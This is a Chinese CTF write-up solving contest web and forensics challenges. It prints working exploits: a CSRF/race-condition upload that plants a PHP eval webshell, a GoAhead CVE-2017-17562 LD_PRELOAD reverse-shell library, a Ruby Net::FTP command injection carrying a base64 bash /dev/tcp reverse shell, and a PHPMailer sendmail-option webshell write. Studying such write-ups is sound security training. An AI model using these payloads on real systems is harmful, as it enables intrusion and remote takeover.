安恒杯一月赛部分题目writeup
首先感谢下安恒举办的比赛,还有大神们的讲解,学习了
再来个友情链接
发现.git泄漏,拿到源码
发现上传文件,代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){ die('Access Denied'); } ... ... $ext = getExt($_FILES['file']['name']); $filename = './upload/temp/'.$flid.$ext; $dst = './upload/images/'.$flid.'.jpg'; move_uploaded_file($_FILES["file"]["tmp_name"], $filename); if(file_exists($filename)){ try { if(file_exists($dst)) @unlink($dst); resizeimg($filename, $dst, 100, 50); }catch(Exception $e){ echo 'Caught exception: ', $e->getMessage(), "\n"; } } |
发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。
因为程序添加友情链接时候会先去访问这个文件
所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM"); xhr.withCredentials = "true"; var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" + "Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" + "Content-Type: application/x-php\r\n" + "\r\n" + "<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" + "\r\n" + "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" + "Content-Disposition: form-data; name=\"flid\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" + "Content-Disposition: form-data; name=\"submit\"\r\n" + "\r\n" + "上传\r\n" + "------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } submitRequest(); </script> <script> var html = ''; for(var k=0; k<1000; k++){ html = html + '<script>submitRequest();<\/script>'; } document.write(html); </script> </body> </html> |
多线程访问,或者用burp也行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
#!/usr/bin/env python2 # coding: utf-8 import requests import thread import sys url = 'http://192.168.5.76/upload/temp/321.php' threads = 2 locks = [] done = False def get(url): try: r = requests.get(url, timeout=1) except: r = False if r: return r.status_code else: return 500 def job(t, url, lock): while (not done): c = get(url) if c == 200: print '200' lock.release() def main(): for i in xrange(threads): try: lock = thread.allocate_lock() lock.acquire() locks.append(lock) thread.start_new_thread(job, (i, url, lock)) except: print 'Fail to start new thread' for lock in locks: while lock.locked(): pass; print 'Done' main() |
比较坑的是复现时候太艰难了…
上一张官方提供的最后成功图
GOGOGO
扫描端口发现8080 响应头为GoAhead 找到一个RCE(CVE-2017-17562 )
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
#include <stdio.h> #include <unistd.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #define REMOTE_ADDR "172.17.0.1" #define REMOTE_PORT 4444 static void before_main(void) __attribute__((constructor)); static void before_main(void) { struct sockaddr_in sa; int s; sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); sa.sin_port = htons(REMOTE_PORT); s = socket(AF_INET, SOCK_STREAM, 0); connect(s, (struct sockaddr *)&sa, sizeof(sa)); dup2(s, 0); dup2(s, 1); dup2(s, 2); execve("/bin/sh", 0, 0); write(1, "Hello: World!\n", 14); } |
1 |
$ gcc -shared -fPIC ./poc.c -o poc.so |
1 |
$ nc -lvp 4444 |
漏洞利用
1 |
$ curl -X POST --data-binary @poc.so http://xxx:8080/cgi-bin/hello.cgi? LD_PRELOAD=/proc/self/fd/0 -i |
拿到shell获取flag
与时俱进2
打开目标站点,通过错误连接信息 NET::FTP error 判断是ruby 联想到NET::FTP的rce
https://www.exploit-db.com/exploits/43381/
1 2 3 4 5 6 7 8 9 |
def gettextfile(remotefile, localfile = File.basename(remotefile), &block) # :yield: line f = nil result = nil if localfile f = open(localfile, "w") # Vulnerable code here. open("| os command","w") elsif !block_given? result = String.new end |
Thelocalfile
value will trigger command execution if the value is| os command
. In general use, most users would likely provide their own localfile value and would not rely on the default ofFile.basename(remotefile)
; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (eitherls -l
style for theLIST
command, or filenames forNLIST
), there is no need/guarantee that filename will be a valid filename.
可以看到ruby在获取文件名时直接传入open会导致命令注入
搭建一个ftp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
#!/usr/bin/env python2 # coding: utf-8 from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer #实例化虚拟用户,这是FTP验证首要条件 authorizer = DummyAuthorizer() #添加用户权限和路径,括号内的参数是(用户名, 密码, 用户目录, 权限) authorizer.add_user('ftp', 'ftp', '/tmp/ftp', perm='elradfmw') #初始化ftp句柄 handler = FTPHandler handler.authorizer = authorizer #添加被动端口范围 handler.passive_ports = range(2000, 2333) #监听ip 和 端口 server = FTPServer(('0.0.0.0', 21), handler) #开始服务 server.serve_forever() |
之后可以去访问ftp反弹shell
可以先测试一下是否可以成功运行命令
ok
又因为文件名不能有/ 空格之类,所以一个套路就是我们可以搭建一个站,用curl访问获得反弹shell
类似下面的效果
然后监听
1 |
nc -lvp 2333 |
反弹成功
比赛的环境是没有curl的,所以另一种方法是利用base64绕过
1 |
touch |echo${IFS}YmFzaCAtaSA+JiAgL2Rldi90Y3AvMTkzLjExMi4xMy4xMzEvMzAwMCAwPiYx|base64${IFS}-d|bash |
经典留言板
题目看后首先尝试xss无果,发现存在源码泄漏
下载源码开始审计
主要发现问题出在mail函数 可以参考PHPMailer 命令执行漏洞(CVE-2016-10033)
这里$options参数可控可以造成命令执行
其中option为email传值,而且只简单判断了一下email是否存在@
当我们email=xxx@xxx.com 时后端处理为
1 |
$email = '-fxxx@xxx.com‘ |
看一下帮助手册 寻找利用参数
-x可以存入日志文件,其内容即为我们信件内容,这相当于我们可以直接往服务器写入文件
需要注意的是,利用这个参数我们是无法控制目录的,因为没有root权限,所以这里需要利用queueDirectory
构造如下请求,写入一句话shell
后端处理email为
1 |
$email = '-ftest@123.com -OqueueDirectory=/ -Xa.php' |
查看一下是否成功
执行shell
菜刀666
签到题,思路应该是比较清晰,不过要做出来也得多走几步,自己中间也傻了一下…
首先是个流量分析,具体也不多说了
首先可以看到是base64加密的,我们解密后看大致做过的操作
基本是写入,或者查看目录之类的,看回显也可以知道
找到关键操作
写入了一个文件,z2参数内容是文件加密后的样子
我们根据源码还原一下
大致改动一下 因为输出是JFIF 所以我们直接保存为jpg
打开图片
本来以为结束了,结果提交flag不对
接着往下看
又写入了一个文件hello.zip,我们用hex保存并去掉没用的头和尾
可以看到flag在压缩包里面
然后解压,用上面得到的pwd输入密码
近期评论